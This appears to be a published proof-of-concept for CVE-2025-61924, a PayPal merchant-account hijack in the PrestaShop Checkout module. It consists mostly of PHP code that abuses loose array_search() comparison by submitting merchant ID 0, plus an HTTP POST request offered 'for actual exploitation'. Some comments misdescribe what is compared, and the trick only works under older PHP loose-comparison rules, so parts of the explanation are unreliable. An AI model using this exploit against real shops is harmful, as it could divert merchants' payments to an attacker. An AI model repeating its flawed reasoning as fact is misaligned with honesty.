CVE-2025-61924：PrestaShop Checkout模块PayPal商户账户劫持漏洞

<?php /** * CVE-2025-61924 - PrestaShop Checkout PayPal Merchant Account Hijacking PoC * * The vulnerability is due to incorrect usage of PHP array_search() without strict comparison. * An authenticated high-privilege user (backoffice admin) can hijack the target PayPal merchant * account by manipulating the merchant ID parameter. * * NOTE: This PoC demonstrates the conceptual exploitation logic. * Actual exploitation requires valid backoffice credentials. */ // Simulated vulnerable code pattern in PrestaShop Checkout module class PsCheckoutMerchant { // Simulated list of authorized PayPal merchant IDs private $authorizedMerchantIds = [ 'MBR001' => '[email protected]', 'MBR002' => '[email protected]', ]; /** * Vulnerable function - uses array_search() without strict comparison (no third parameter) * This allows type juggling attacks */ public function vulnerableLookup($inputMerchantId) { // Without strict mode (true), array_search() performs loose comparison // 0 == 'any_string' evaluates to true in PHP $key = array_search($inputMerchantId, $this->authorizedMerchantIds); return $key; } /** * Vulnerable merchant account binding logic */ public function bindMerchantAccount($submittedMerchantId, $attackerPaypalEmail) { $matchedKey = $this->vulnerableLookup($submittedMerchantId); if ($matchedKey !== false) { // Bypass: if attacker submits integer 0, array_search returns 'MBR001' // due to loose comparison: 0 == 'MBR001' is true echo "[+] Matched merchant key: $matchedKey\n"; echo "[+] Binding attacker PayPal account: $attackerPaypalEmail\n"; // Hijack successful - update the merchant binding $this->authorizedMerchantIds[$matchedKey] = $attackerPaypalEmail; return true; } return false; } } // Exploitation demonstration $psCheckout = new PsCheckoutMerchant(); // Normal request would be: merchant_id=MBR001 // Malicious request: merchant_id=0 (integer, exploits loose comparison) // In PHP: array_search(0, ['MBR001' => '...', 'MBR002' => '...']) returns 'MBR001' // because 0 == 'MBR001' evaluates to true (loose comparison) $maliciousMerchantId = 0; // Integer 0 bypasses the check $attackerEmail = '[email protected]'; echo "[*] CVE-2025-61924 Exploitation PoC\n"; $result = $psCheckout->bindMerchantAccount($maliciousMerchantId, $attackerEmail); if ($result) { echo "[!] SUCCESS: PayPal merchant account hijacked!\n"; echo "[!] All future payments will be routed to: $attackerEmail\n"; } else { echo "[-] Exploitation failed\n"; } /** * HTTP-level exploitation example (for actual exploitation): * * POST /admin123/index.php?controller=AdminPsCheckoutMerchant * Cookie: PHPSESSID=<valid_admin_session> * Content-Type: application/x-www-form-urlencoded * * id_merchant=0&[email protected]&action=update * * The 'id_merchant=0' parameter exploits the array_search() loose comparison * vulnerability to hijack the first merchant account in the list. */ ?>